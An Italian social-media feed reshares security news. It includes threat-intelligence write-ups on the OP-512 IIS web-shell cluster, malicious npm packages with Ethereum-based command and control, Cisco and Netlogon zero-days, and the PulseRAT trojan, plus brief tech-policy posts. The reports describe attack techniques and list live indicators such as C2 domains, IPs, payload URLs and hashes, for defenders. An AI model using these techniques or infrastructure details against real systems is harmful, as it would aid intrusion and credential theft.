informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

OP-512: il nuovo cluster cinese di cyberspionaggio che sfida il rilevamento con web shell crittograficamente uniche


@Informatica (Italy e non Italy)
ReliaQuest ha scoperto OP-512, un nuovo cluster di cyberspionaggio cinese che prende di mira server IIS legacy con un framework di web shell custom crittograficamente unico per ogni


OP-512: il nuovo cluster cinese di cyberspionaggio che sfida il rilevamento con web shell crittograficamente uniche


Si parla di:
Toggle

Un server IIS abbandonato con .NET Framework obsoleto da un decennio, settantacinque giorni di paziente ricognizione e poi un’offensiva fulminea: questo è il modus operandi di OP-512, un nuovo cluster di cyberspionaggio di presunta origine cinese scoperto da ReliaQuest grazie alla propria piattaforma di AI agentiva. La scoperta aggiunge un quarto attore al già affollato panorama degli APT cinesi che prendono di mira i server IIS aziendali, ma con un livello di sofisticazione che supera significativamente i gruppi precedentemente documentati.

La scoperta: quando l’AI vede ciò che l’analista non riesce a collegare


Il 5 giugno 2026, ReliaQuest ha pubblicato un’analisi dettagliata di un’intrusione rilevata nell’ambiente di un cliente. L’elemento distintivo non è stato solo l’attacco in sé, ma il modo in cui è stato scoperto: la piattaforma GreyMatter Agentic AI ha correlato automaticamente decine di eventi apparentemente scollegati — creazione di web shell, query DNS anomale, caricamento riflessivo di assembly .NET, esecuzione di comandi da processi del web server — ricostruendo in pochi minuti l’intera catena d’attacco che un analista umano avrebbe impiegato ore o giorni a ricostituire manualmente.

Il cluster, denominato “OP-512”, è stato attribuito con moderata-alta confidenza alla Cina, sulla base di indicatori tattici, tecnici e procedurali (TTP) che si sovrappongono parzialmente ad altri gruppi noti come CL-STA-0048, GhostRedirector e DragonRank. Tuttavia, OP-512 presenta caratteristiche uniche che ne fanno un’entità distinta: un framework di web shell costruito su misura, con crittografia per-deployment, che rende inefficace qualsiasi rilevamento basato su firme.

Il bersaglio: infrastruttura legacy come porta d’ingresso


Il server compromesso eseguiva Windows Server 2016 con .NET Framework 4.0, una versione priva di aggiornamenti di sicurezza dal 2016. I server IIS in zona demilitarizzata (DMZ) rappresentano un bersaglio prediletto per gli operatori di cyberspionaggio: si trovano al confine tra la rete esposta a Internet e la rete interna, ricevono meno monitoraggio rispetto all’infrastruttura core e fungono da pivot point ideale per muoversi lateralmente.

La telemetria EDR mostrava attività sospetta sullo stesso host già 75 giorni prima dell’attacco principale, con query DNS verso il dominio ashx.lhlsjcb[.]com. Questa prima fase — probabilmente ricognizione e test delle capacità di accesso — è tipica degli cluster di spionaggio state-sponsored, che non hanno fretta e possono permettersi di aspettare il momento più opportuno.

La fase offensiva: pochi minuti per stabilire il controllo


Quando OP-512 ha deciso di agire, ha operato con velocità e metodo. In un arco temporale di pochi minuti, il processo worker di IIS (w3wp.exe) ha scritto nella directory di upload dell’applicazione tre web shell, ciascuna con una funzione specifica:

  • File manager .aspx con canale C2 self-reporting: alla prima visita, la shell codifica il proprio URL in esadecimale e lo trasmette come query DNS verso il dominio controllato dagli attaccanti (hcgos[.]com, con pattern a.<hex>.c.hcgos[.]com). Se la query DNS fallisce, attiva un canale di fallback HTTP verso un server C2 separato. Il server di fallback è stato collegato da ricercatori indipendenti a infrastrutture Meterpreter.
  • Due command handler .ashx con autenticazione crittografica: ciascuno gated da autenticazione RSA+RC4 con chiavi diverse tra i due handler. Il processo di esecuzione segue quattro fasi sequenziali: decodifica Base64 del corpo della richiesta HTTP, decifratura RC4 del payload, verifica della firma RSA contro la chiave pubblica embedded, esecuzione del comando solo se la verifica ha successo.

L’elemento più sofisticato è la generazione crittograficamente unica per ogni deployment: un builder automatizzato produce istanze dal medesimo template, randomizzando i nomi di variabili e metodi e iniettando variabili morte e commenti spazzatura. Il risultato sono file che eseguono la stessa operazione ma producono hash completamente diversi, rendendo inutile il rilevamento basato su firme.

Privilege Escalation: la suite “Potato” caricata direttamente in memoria


Con le web shell operative, OP-512 ha caricato direttamente nella memoria del processo w3wp.exe quattro toolkit di post-exploitation, senza scrivere nulla su disco:

  • BadPotato, SweetPotato, EfsPotato: la “Potato Suite”, una raccolta documentata di exploit Windows che abusano di servizi integrati per elevare i privilegi da un account di servizio limitato a SYSTEM. La presenza di questi strumenti in OP-512 aggiunge un dato di attribuzione, poiché compaiono anche in CL-STA-0048 e GhostRedirector.
  • GhostKit: un toolkit non documentato pubblicamente, probabilmente un’etichetta vendor-specifica della telemetria EDR piuttosto che un tool consolidato.

I comandi di verifica post-escalation (whoami e whoami /priv) sono stati eseguiti come stringhe base64-encoded — una codifica identica carattere per carattere a quella documentata nel compromesso ArcGIS di Flax Typhoon, suggerendo tooling o playbook condivisi nell’ecosistema degli APT cinesi.

Il problema del loop: quando la prevenzione non basta


Un aspetto particolarmente istruttivo dell’incidente è ciò che è accaduto dopo l’intervento dell’endpoint protection: il sistema ha terminato il processo malevolo, ma IIS riavvia automaticamente i worker process dopo un crash o una terminazione forzata. Il risultato è stato un loop in cui la protezione si attivava ripetutamente mentre l’attività malevola continuava. Bloccare un processo senza isolare l’host crea esattamente questa finestra di vulnerabilità che gli attaccanti sfruttano intenzionalmente.

Un ulteriore problema per i responder è la persistenza delle DLL compilate da ASP.NET: quando le web shell vengono eseguite per la prima volta, il runtime .NET le compila in librerie DLL e le salva in una directory temporanea. Queste DLL sopravvivono alla cancellazione dei file originali e possono essere riattivate. La risposta all’incidente deve quindi includere la pulizia delle directory di compilazione temporanea di ASP.NET.

Timestomping: nascondersi nel passato


OP-512 implementa una tecnica di timestomping automatizzato particolarmente raffinata: le web shell analizzano ogni file e sottodirectory circostante, calcolano il timestamp mediano di ultima modifica e sovrascrivono i propri timestamp di creazione e modifica per allinearsi. Una web shell scritta nel 2026 tra file del 2022 sembrerebbe vecchia di anni. La funzione accetta anche un timestamp esplicito come input, permettendo all’operatore di retrodatare un file a uno specifico evento o finestra di patch.

OP-512 nel panorama degli APT cinesi su IIS


ReliaQuest posiziona OP-512 come quarto cluster cinese documentato nell’ultimo anno a colpire server IIS, ma con caratteristiche che lo distinguono dagli altri tre:

  • CL-STA-0048 (l’overlap più significativo): usa query DNS con subdomain esadecimali per esfiltrare dati — OP-512 usa lo stesso encoding ma per segnalare la propria posizione, non per esfiltrare. Dipende da tool commodity come PlugX e Cobalt Strike, diversamente dal framework custom di OP-512.
  • GhostRedirector e DragonRank: motivati da frodi SEO, non da spionaggio. Usano alcune delle stesse tecniche di privilege escalation ma con obiettivi completamente diversi.


IOC e Indicatori comportamentali


ReliaQuest enfatizza che gli IOC specifici di questa intrusione non saranno necessariamente presenti nelle future operazioni OP-512, data la natura generata proceduralmente del framework. I rilevamenti comportamentali sono la strada maestra:

# IOC specifici dell'intrusione
Dominio C2 primario:     ashx.lhlsjcb[.]com (attività precedente, ~75 giorni prima)
Dominio C2 secondario:   hcgos[.]com
Pattern DNS:             a.<hex>.c.hcgos[.]com
Server Meterpreter C2:   43.160.202[.]246:8053
Connessione outbound:    140.206.161[.]227:443
Source IP interazione:   124.156.129[.]151 (User-Agent: python-requests/2.33.0)

# Pattern comportamentali da monitorare
- w3wp.exe che genera query DNS con subdomain esadecimali lunghi
- Caricamento riflessivo di componenti crittografici in w3wp.exe
- Creazione di DLL in directory temporanee ASP.NET fuori dai cicli di deployment
- Risposte HTTP cifrate da endpoint .ashx che dovrebbero restituire contenuto standard

Due righe per i difensori


Per i team di sicurezza che gestiscono ambienti con server IIS legacy, le priorità immediate sono: ritirare o isolare i server con .NET Framework end-of-life esposti a Internet; disabilitare l’esecuzione di script nelle directory di upload via handler IIS per estensioni .aspx, .ashx, .asp e .asmx; monitorare le directory di compilazione temporanea ASP.NET per creazione di DLL fuori dai cicli di deployment normali; e — fondamentalmente — non chiudere un incidente senza aver identificato e rimediato la vulnerabilità di accesso iniziale. OP-512 dimostra che gli operatori di spionaggio contano esattamente su questa superficialità per tornare dopo che l’allerta è rientrata.


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

Supply chain attack su npm: 11 pacchetti malevoli con C2 blockchain colpiscono 2,7 milioni di download crypto


@Informatica (Italy e non Italy)
Cyfirma ha scoperto undici pacchetti npm malevoli che prendono di mira sviluppatori blockchain e Web3: il solo pacchetto moralis-sdk ha raggiunto 2,7 milioni di download. La campagna usa


Supply chain attack su npm: 11 pacchetti malevoli con C2 blockchain colpiscono 2,7 milioni di download crypto


Si parla di:
Toggle

Undici pacchetti npm malevoli, un singolo package con oltre 2,7 milioni di download, un’infrastruttura di comando e controllo ancorata alla blockchain Ethereum: questa è la mappa di una campagna di supply chain attack che i ricercatori di Cyfirma hanno identificato e documentato nel dettaglio, prendendo di mira sviluppatori blockchain, progetti Web3 e operatori di wallet crypto.

La trappola nel registro npm


Il registro npm — il più grande ecosistema di pacchetti JavaScript con oltre due milioni di moduli disponibili — si conferma ancora una volta un bersaglio privilegiato per gli attori malevoli. Questa campagna ha sfruttato una combinazione di tecniche consolidate e innovazioni notevoli, a partire dal typosquatting: i pacchetti malevoli mimicavano fedelmente nomi di librerie legittime e ampiamente utilizzate nell’ecosistema blockchain, come ethers.js, le SDK di Moralis, le utility Coinbase e i tool di sviluppo Stellar.

Il pacchetto più distribuito, moralis-sdk, ha raggiunto la cifra di 2,7 milioni di download prima della rimozione — un numero che rende l’entità potenziale della compromissione difficile da quantificare con precisione. Gli altri dieci pacchetti identificati includono ethers-jss, coinbase-wallet-utils, Ganach (typosquatting di Ganache), Solidty (typosquatting di Solidity), Stelar-sdk, oltre a hardhat-deploy-utils, web3-deploy-helper, defi-sdk-core, ethers-compat ed ethereum-dev-utils.

Meccanismo di esecuzione: lifecycle hooks come vettore d’attacco


Il vettore di infezione primario si basa sull’abuso degli script di ciclo di vita npm (postinstall e preinstall). Quando uno sviluppatore esegue npm install, il codice malevolo viene attivato automaticamente, senza alcuna interazione ulteriore. Questo approccio è particolarmente insidioso perché sfrutta funzionalità native del gestore di pacchetti, difficili da bloccare senza compromettere la funzionalità legittima.

Il pacchetto moralis-sdk fungeva da downloader multi-stadio: recuperava payload aggiuntivi da servizi di hosting remoto come Pastefy e GitHub, realizzando un’architettura di distribuzione del malware altamente resiliente. I pacchetti coinbase-wallet-utils e ethers-jss erano invece dedicati principalmente alle fasi di ricognizione ed esfiltrazione, con focus specifico sul furto di wallet crypto.

Blockchain come infrastruttura C2: l’innovazione più significativa


L’elemento tecnico più rilevante della campagna è l’utilizzo della blockchain Ethereum come meccanismo di command and control. Gli attori malevoli hanno impiegato smart contract Ethereum e transazioni on-chain sia per il recupero della configurazione dell’infrastruttura sia per l’esfiltrazione di credenziali. Questo approccio rende il C2 estremamente difficile da bloccare: non esistono domini da eliminare, non esistono IP da inserire in blacklist, e le transazioni on-chain sono immutabili e pseudoanonime.

Gli indirizzi Ethereum identificati nella campagna come target per la configurazione e l’esfiltrazione includono 0xa1b40044EBc2794f207D45143Bd82a1B86156c6b, 0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84 e 0xCBbecC5E5Eb88582e6305cF6ab688f03e02Ce16f.

Tipologia di dati rubati


L’obiettivo principale era la raccolta di segreti ad alto valore economico e operativo dagli ambienti di sviluppo compromessi. Il malware prendeva di mira: chiavi private di wallet crypto e frasi mnemoniche (seed phrase), chiavi SSH, credenziali cloud (AWS, Azure, GCP), token di autenticazione API (NPM_TOKEN, GITHUB_TOKEN), chiavi di servizi blockchain come Infura e Alchemy, oltre a file di configurazione di ambienti di sviluppo specifici come secrets.json, hardhat.config.js e foundry.toml.

Mappatura MITRE ATT&CK


La campagna copre un ampio spettro di tecniche MITRE, tra cui T1195.002 (Supply Chain Compromise), T1204.002 (Malicious File Execution), T1036.005 (Masquerading), T1552 (Unsecured Credentials), T1528 (Steal Application Access Token) e T1583.006 (Acquire Infrastructure via Web Services).

Indicatori di Compromissione (IoC)

# Pacchetti npm malevoli
moralis-sdk, ethers-jss, coinbase-wallet-utils
Ganach, Solidty, Stelar-sdk
hardhat-deploy-utils, web3-deploy-helper, defi-sdk-core, ethers-compat, ethereum-dev-utils

# Hash SHA256
d94a2444268b339dfda2615f7800322fb318e0a484414bb17016cfcd5eb07c44
6585ca0d3e26c20ced638f46f4a89eea924d411b8753d3fcf434663593c7cf0b
17bad5ae5b2ac262f5f18854853869840245c344105aa38c7f550ef51d2e5f26

# Hash SHA1
53b91117db931d3acbbfd15aa8400bb6691e023d
63154cd9c79f9d14eb9be6c4efc2a778d31646ec
74d3d5ab6d0fa4c6a5860598231728a6a893ecf7

# URL infrastruttura
pastefy.app/RhPBKGli/raw
http://193.233.201.21:3001

# Indirizzi Ethereum (C2 on-chain)
0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0xCBbecC5E5Eb88582e6305cF6ab688f03e02Ce16f

Due righe per i difensori


Questa campagna evidenzia come i supply chain attack sul registro npm stiano diventando sempre più sofisticati. I difensori e i team di sicurezza DevOps dovrebbero implementare: verifica sistematica dell’integrità dei pacchetti prima dell’installazione; utilizzo di strumenti come npm audit e analizzatori comportamentali di pacchetti (Socket.dev, Snyk, Phylum); monitoraggio delle connessioni di rete generate durante npm install in ambienti di build CI/CD isolati; blocco preventivo dei lifecycle hook di terze parti nelle pipeline di produzione; audit periodico delle dipendenze con specifico focus su pacchetti con nomi simili a librerie popolari. L’uso della blockchain come infrastruttura C2 rappresenta una frontiera che richiede approcci di difesa diversi dal tradizionale blocco DNS/IP: è necessario monitorare le chiamate RPC verso nodi Ethereum non autorizzati nelle reti aziendali.

La ricerca completa di Cyfirma è disponibile su: cyfirma.com


informatica ha ricondiviso questo.

La sfida dei data center spaziali


@Informatica (Italy e non Italy)
La Cina ha già lanciato i primi satelliti per elaborare dati in orbita. Gli Stati Uniti, tra Pentagono, Google e SpaceX, stanno facendo lo stesso. Sta nascendo una nuova infrastruttura digitale globale, che però non appartiene a nessuno Stato e che nessuna legge regola ancora
L'articolo La sfida dei data center spaziali proviene da Guerre di Rete.

informatica ha ricondiviso questo.

whatsapp, IA ed altre idiozie

@informatica

dday.it/redazione/57700/whatsa…

invece di chiederne l'interoperabilità con xmpp, l'UE si preoccupa dei bot AI

Unknown parent

mastodon - Collegamento all'originale

Luca Sironi

@unruhe
che poi non è niente di che, o di diverso dalle altre.

i primi anni che si diffondevano gli smartphone, qui in Romania andava molto Viber.
Poi quando ha cominciato a girare whatsapp negli altri paesi, per un po la gente le ha tenute installate entrambe, poi si è rotta le palle e ha lasciato solo whatsapp

La gente, di fronte a un obbligo, si adatta immediatamente

informatica ha ricondiviso questo.

Il servizio di messaggistica interna del governo francese è stato compromesso a seguito di una violazione della sicurezza.

Un gruppo di hacker ha rivendicato la responsabilità dell'attacco alla piattaforma crittografata Tchap.

engadget.com/2190489/the-frenc…

@informatica

Grazie a Marco per la segnalazione

informatica ha ricondiviso questo.

Aggiornamenti Microsoft giugno 2026: tre zero-day e il ritorno di Nightmare Eclipse


@Informatica (Italy e non Italy)
Il Patch Tuesday di giugno 2026 è il più grande della storia di Microsoft: 206 CVE corrette, di cui 33 critiche e una in Exchange Server già sfruttata in rete. Sullo sfondo, il ricercatore Nightmare Eclipse che annuncia un nuovo attacco per il

informatica ha ricondiviso questo.

La batteria "rivoluzionaria" era una comune litio-ioni: la truffa di Donut Lab

@informatica

Donut Lab è la startup finlandese che aveva dichiarato di avere una batteria allo stato solido pronta per la produzione di massa, con un'energia specifica di 400 Wh/kg e una vita utile di 100.000 cicli. Numeri da capogiro, se fossero stati veri, ma non lo erano.

smartworld.it/news/donut-lab-b…

Grazie a @elettrona per la segnalazione

mastodon.uno/@elettrona@polive…


Dopo uno dice che la gente si arrabbia...

La batteria "rivoluzionaria" era una comune litio-ioni: la truffa di Donut Lab smartworld.it/news/donut-lab-b…


informatica ha ricondiviso questo.

Guerre di Rete continua, in memoria di Carola Frediani


@Informatica (Italy e non Italy)
Guerre di Rete prosegue mantenendo inalterato il patto con il lettore. Il nostro continuerà a essere un giornalismo rigoroso, approfondito, autonomo e indipendente.
L'articolo Guerre di Rete continua, in memoria di Carola Frediani proviene da Guerre di Rete.

L'articolo proviene da guerredirete.it/guerre-di-rete…

informatica ha ricondiviso questo.

AI Act, il Governo accelera: più poteri ad ACN, nuove regole su biometria, lavoro e formazione


@Informatica (Italy e non Italy)
Dal riconoscimento facciale per finalità di polizia ai nuovi poteri dell’ACN, fino alle regole su lavoro, formazione e responsabilità civile. I decreti attuativi dell’AI Act in discussione al Consiglio dei ministri delineano

informatica ha ricondiviso questo.

WhatsApp ha dichiarato di aver individuato e bloccato una nuova campagna di hacking condotta da NSO Group contro i suoi utenti.

Il colosso della messaggistica di proprietà di Meta ha affermato che questa campagna di phishing viola una sentenza del tribunale che ordinava a NSO di smettere di prendere di mira WhatsApp e i suoi utenti. WhatsApp sta cercando di citare in giudizio NSO per oltraggio alla corte a causa di questa violazione.

techcrunch.com/2026/06/08/what…

@informatica

informatica ha ricondiviso questo.

Mondiali 2026, i cyber criminali non aspettano il fischio d’inizio: ecco come proteggersi


@Informatica (Italy e non Italy)
I Mondiali di calcio 2026 si svolgeranno dall’11 giugno al 19 luglio 2026, ma da uno studio emerge che ben il 36% fra sponsor ufficiali, fornitori, partner e sostenitori associati ha già esposto i dati del pubblico. Ecco come

informatica ha ricondiviso questo.

suggerire gli account di chi si trova vicino a te, che idea geniale !

@informatica

open.online/2026/06/04/privacy…

@ransomnews.online
@signorina37

#instagram #meta #enshittificaton

informatica ha ricondiviso questo.

G7 Cybersecurity: post-quantum, AI e PMI al centro dell’agenda globale


@Informatica (Italy e non Italy)
Il G7 Cybersecurity Working Group ha pubblicato la dichiarazione della riunione plenaria dello scorso 27 maggio 2026: crittografia post-quantistica, rischi AI, resilienza delle telecomunicazioni e sicurezza delle PMI sono le quattro priorità urgenti che ridefiniscono

informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

CVE-2026-20245 e CVE-2026-41089: zero-day Cisco SD-WAN e RCE su Netlogon sotto attacco attivo
#tech
spcnet.it/cve-2026-20245-e-cve…
@informatica


CVE-2026-20245 e CVE-2026-41089: zero-day Cisco SD-WAN e RCE su Netlogon sotto attacco attivo


Questa settimana il panorama della sicurezza infrastrutturale è segnato da due vulnerabilità critiche in sfruttamento attivo: un zero-day su Cisco Catalyst SD-WAN Manager e un buffer overflow nel protocollo Netlogon di Windows. Entrambe riguardano componenti centrali nelle architetture enterprise e richiedono attenzione immediata da parte degli amministratori di sistema.

CVE-2026-20245: Zero-day su Cisco Catalyst SD-WAN Manager


Cisco ha divulgato la vulnerabilità CVE-2026-20245, una privilege escalation critica che colpisce Cisco Catalyst SD-WAN Manager. La caratteristica più preoccupante è che, al momento della divulgazione, non è disponibile alcuna patch.

Secondo Cisco, sono stati osservati casi di sfruttamento attivo in cui l’attaccante è riuscito a modificare configurazioni e a propagarle verso i dispositivi edge della rete SD-WAN. Questo tipo di accesso è particolarmente pericoloso perché consente potenzialmente di alterare il routing del traffico, intercettare comunicazioni o isolare segmenti di rete.

Il contesto: il gruppo UAT-8616


L’attività non è isolata. Il threat actor noto come UAT-8616 ha già sfruttato in precedenza vulnerabilità simili di authentication bypass su sistemi SD-WAN Cisco. Il pattern operativo del gruppo prevede:

  • Sfruttamento di falle di autenticazione per accedere al management plane
  • Modifica delle configurazioni degli edge device per ottenere persistenza o pivoting laterale
  • Campagne mirate a infrastrutture enterprise con SD-WAN distribuita geograficamente


Mitigazioni temporanee


In assenza di patch, Cisco raccomanda di:

  • Limitare l’accesso alla management interface di SD-WAN Manager esclusivamente a indirizzi IP fidati tramite ACL
  • Abilitare il logging avanzato per rilevare accessi anomali o modifiche di configurazione non autorizzate
  • Monitorare i cambiamenti alla configurazione degli edge device con sistemi di change management
  • Isolare il piano di gestione (out-of-band management) dalla rete dati

Verificare costantemente la pagina degli advisory di sicurezza Cisco per l’uscita della patch.

CVE-2026-41089: RCE nel protocollo Netlogon di Windows


Parallelamente, è in corso lo sfruttamento attivo di CVE-2026-41089, una vulnerabilità di tipo stack-based buffer overflow nel protocollo Netlogon di Windows. La falla consente l’esecuzione di codice remoto (RCE) senza necessità di autenticazione preventiva.

Il protocollo Netlogon è fondamentale nell’ecosistema Active Directory: gestisce l’autenticazione dei computer membri del dominio, la sincronizzazione delle password degli account macchina e la comunicazione sicura tra domain controller. Un attaccante che sfrutti questa vulnerabilità può eseguire codice arbitrario direttamente su un domain controller, compromettendo di fatto l’intera infrastruttura Active Directory.

Perché è critica


I domain controller rappresentano il cuore pulsante di ogni infrastruttura Windows enterprise:

  • Gestiscono tutte le autenticazioni Kerberos e NTLM
  • Ospitano il catalogo globale e le policy di gruppo (GPO)
  • Controllano i permessi e i privilegi di tutta la rete

Una compromissione del DC equivale tipicamente a un compromesso totale del dominio: l’attaccante può creare account privilegiati, modificare policy, accedere a segreti Kerberos (Golden Ticket) e muoversi lateralmente verso ogni sistema del dominio.

Azioni immediate


Se non già fatto, è essenziale applicare le patch del Patch Tuesday di giugno 2026 che correggono questa vulnerabilità. Fino all’applicazione della patch:

# Verificare se il servizio Netlogon è esposto su interfacce non necessarie
netstat -ano | findstr :135
netstat -ano | findstr :49152

# Controllare gli accessi recenti ai domain controller
Get-EventLog -LogName Security -InstanceId 4624,4625 -Newest 500 | 
  Where-Object {$_.EntryType -eq 'FailureAudit'} | 
  Select-Object TimeGenerated, Message | 
  Format-Table -AutoSize

È inoltre consigliabile verificare che il traffico Netlogon (RPC su porte dinamiche) sia limitato tramite firewall a soli sistemi del dominio e non esposto verso reti non fidate.

Contesto più ampio: giugno 2026, un mese critico per la sicurezza


Le due CVE sopra descritte si inseriscono in un contesto di patch Tuesday giugno 2026 che conta oltre 120 CVE corrette da Microsoft su Windows 10 e Windows 11. Nello stesso periodo:

  • Palo Alto GlobalProtect VPN: rilevati tentativi limitati di sfruttamento di un authentication bypass
  • Android (CVE-2025-48595): Google ha rilasciato l’aggiornamento di sicurezza di giugno 2026 per correggere una vulnerabilità di alta severità nel framework, probabilmente già usata in attacchi mirati
  • Miasma worm: nei giorni precedenti, un worm ha colpito 73 repository GitHub di Microsoft in un supply chain attack


Checklist per gli amministratori


  • ✅ Applicare il Patch Tuesday di giugno 2026 su tutti i domain controller il prima possibile
  • ✅ Verificare se l’ambiente usa Cisco Catalyst SD-WAN Manager e implementare le mitigazioni temporanee
  • ✅ Abilitare audit logging su DC per rilevare accessi anomali tramite Netlogon
  • ✅ Controllare che l’accesso al management plane SD-WAN sia ristretto via ACL
  • ✅ Monitorare i bollettini Cisco per la disponibilità della patch CVE-2026-20245

Fonti: 4sysops, Help Net Security, SecurityWeek


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ PulseRAT: il RAT .NET che usa Google Sheets come C2 e sfrutta il partenariato India-EAU come esca geopolitica
#CyberSecurity
insicurezzadigitale.com/pulser…

@informatica


PulseRAT: il RAT .NET che usa Google Sheets come C2 e sfrutta il partenariato India-EAU come esca geopolitica


Si parla di:
Toggle

Un ISO caricato dagli Emirati Arabi con dentro un Remote Access Trojan inedito, progettato per nascondersi come servizio Windows legittimo e ricevere comandi da un semplice foglio Google Sheets: è PulseRAT, la nuova minaccia documentata il 6 giugno 2026 dal ricercatore DmpDump. L’esca geopolitica — la settimana della partnership strategica India-EAU, annunciata dal governo Modi nel maggio 2026 — e la catena d’infezione curata ne fanno un sample di forte interesse per la threat intelligence.

Il contesto geopolitico come vettore


Il campione è stato individuato il 19 maggio 2026, caricato su VirusTotal da un indirizzo UAE. Il file si chiama UAE-India_Strategic_Partnership_Week.iso ed è progettato per sembrare documentazione correlata alla visita di stato del Premier indiano Modi negli Emirati Arabi, durante la quale India e UAE hanno firmato accordi nel settore della difesa e dell’energia. Questo tipo di lure geopolitico — sfruttare eventi diplomatici reali per mascherare malware — è una tattica consolidata di gruppi APT, e suggerisce un operatore con sufficiente consapevolezza del contesto politico regionale per costruire un inganno credibile.

Al momento della pubblicazione dell’analisi, l’attribuzione resta aperta: il ricercatore nota analogie con artefatti legati a un host chiamato desktop-526nitv, ma non formula attribuzioni definitive a gruppi noti.

La catena d’infezione


L’ISO contiene due file:

  • UAE-India_Strategic_Partnership-Week.lnk — un collegamento Windows che esegue il secondo file tramite cmd.exe. I metadati del file LNK rivelano che è stato creato su una macchina denominata desktop-526nitv.
  • Document_11052026-03578240540350-93.exe — un dropper .NET compilato l’11 maggio 2026, il cui nome originale è FinalTool.exe.

Il dropper esegue le seguenti operazioni:

  • Crea la directory %LOCALAPPDATA%\Microsoft\Vault\
  • Estrae due risorse embedded: il payload principale (vaultsvc.exe) e un “decoy PDF” da 0 byte
  • Registra un Scheduled Task denominato WindowsVaultSyncService tramite l’interfaccia COM del Task Scheduler di Windows (non via riga di comando, riducendo la visibilità nei log)
  • Si auto-elimina dopo il setup

Il nome scelto per il servizio — WindowsVaultSyncService — è una tecnica classica di masquerading: nomi plausibili per processi di sistema Windows riducono la probabilità che un analista o un tool automatico sollevino un alert.

Il RAT: Google Sheets come C2


Il payload finale è un RAT .NET con una caratteristica architetturale notevole: utilizza un foglio Google Sheets come canale di command-and-control. Questa tecnica — nota come Living off Trusted Sites (LoTS) — è sempre più diffusa tra gli attori avanzati perché il traffico verso i servizi Google è raramente bloccato a livello di firewall o proxy aziendale e si confonde facilmente col traffico legittimo.

Il funzionamento documentato dal ricercatore:

  • Il RAT genera un UID vittima a partire da nome utente e nome macchina
  • Crea un mutex GlobalWinSync_ per evitare esecuzioni multiple
  • Raccoglie informazioni di sistema tramite PowerShell in-process (systeminfo)
  • Scrive i risultati e i log dei comandi eseguiti nel foglio Google Sheets dell’attaccante
  • Legge i comandi dal foglio e li esegue tramite PowerShell base64-encoded
  • Le stringhe critiche del RAT sono offuscate con una combinazione di base64 e XOR, decodificate a runtime dal metodo JIT


MITRE ATT&CK mapping


La catena copre diverse tecniche MITRE: T1204.002 (esecuzione file malevolo tramite LNK), T1059.001 (PowerShell), T1053.005 (Scheduled Task per persistenza), T1071.001 e T1102.001 (C2 via web service Google Sheets), T1027 (offuscamento stringhe), T1070.004 (auto-delete del dropper).

Indicatori di compromissione (IoC)

# File names
UAE-India_Strategic_Partnership_Week.iso
Document_11052026-03578240540350-93.exe
UAE-India_Strategic_Partnership-Week.lnk
vaultsvc.exe
# SHA-256 hashes
1ba67bb1cfad42446880cca53cbd05fe66d7514b2bb139b48e5c63adff14be7b  (ISO)
2cc7c2d8653c98e5bac32fcaf5e45b861efb4bb87df3b3f96285edb475e75bba  (dropper)
62d62950ff7a0e43550a5d0ba55d32d5083b9de5538e0f012e406b6d951e16aa  (RAT)
# Google Sheets C2
Spreadsheet ID: 1Lb5BEIsehbCGe8p1jkfWf5Mw1dBAcw5RHWFdga5gFq8
Service account: [redacted]@insicurezza-lab.iam.gserviceaccount.com
# Host artifact
Hostname: desktop-526nitv
# Mutex
GlobalWinSync_
# Scheduled Task
WindowsVaultSyncService

Due righe per i difensori


PulseRAT è un campione che illustra una tendenza crescente: l’abuso di infrastrutture cloud legittime (Google, OneDrive, GitHub, Slack) per il C2. Dal punto di vista difensivo, bloccare questo tipo di traffico è complesso perché si sovrappone al traffico produttivo aziendale. Alcune contromisure pratiche:

  • Monitorare creazioni anomale di Scheduled Task tramite l’interfaccia COM (Event ID 4698 nei log Windows Security, con particolare attenzione a task non firmati o con path in %LOCALAPPDATA%).
  • Implementare regole YARA o EDR per rilevare dropper .NET che si auto-eliminano dopo aver scritto payload in directory utente.
  • Considerare il blocco o il monitoraggio stretto delle API di Google Sheets in uscita da endpoint non autorizzati a usarle.
  • Bloccare il mount automatico di file ISO da fonti esterne tramite Group Policy.
  • Aggiungere i hash SHA-256 riportati alle threat intel feed aziendali.

Il ricercatore DmpDump ha reso disponibile l’analisi completa sul suo blog, con screenshot del codice decompilato e della struttura del foglio Google Sheets usato come C2. La ricerca resta aperta sull’attribuzione: se hai visto sample simili, il ricercatore accetta segnalazioni per aggiornare il nome e i riferimenti alla famiglia malware.


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

PulseRAT: il RAT .NET che usa Google Sheets come C2 e sfrutta il partenariato India-EAU come esca geopolitica


@Informatica (Italy e non Italy)
PulseRAT è un nuovo RAT .NET individuato il 19 maggio 2026: viene distribuito via ISO con esca geopolitica legata alla partnership difensiva India-EAU, si maschera come servizio Windows legittimo


PulseRAT: il RAT .NET che usa Google Sheets come C2 e sfrutta il partenariato India-EAU come esca geopolitica


Si parla di:
Toggle

Un ISO caricato dagli Emirati Arabi con dentro un Remote Access Trojan inedito, progettato per nascondersi come servizio Windows legittimo e ricevere comandi da un semplice foglio Google Sheets: è PulseRAT, la nuova minaccia documentata il 6 giugno 2026 dal ricercatore DmpDump. L’esca geopolitica — la settimana della partnership strategica India-EAU, annunciata dal governo Modi nel maggio 2026 — e la catena d’infezione curata ne fanno un sample di forte interesse per la threat intelligence.

Il contesto geopolitico come vettore


Il campione è stato individuato il 19 maggio 2026, caricato su VirusTotal da un indirizzo UAE. Il file si chiama UAE-India_Strategic_Partnership_Week.iso ed è progettato per sembrare documentazione correlata alla visita di stato del Premier indiano Modi negli Emirati Arabi, durante la quale India e UAE hanno firmato accordi nel settore della difesa e dell’energia. Questo tipo di lure geopolitico — sfruttare eventi diplomatici reali per mascherare malware — è una tattica consolidata di gruppi APT, e suggerisce un operatore con sufficiente consapevolezza del contesto politico regionale per costruire un inganno credibile.

Al momento della pubblicazione dell’analisi, l’attribuzione resta aperta: il ricercatore nota analogie con artefatti legati a un host chiamato desktop-526nitv, ma non formula attribuzioni definitive a gruppi noti.

La catena d’infezione


L’ISO contiene due file:

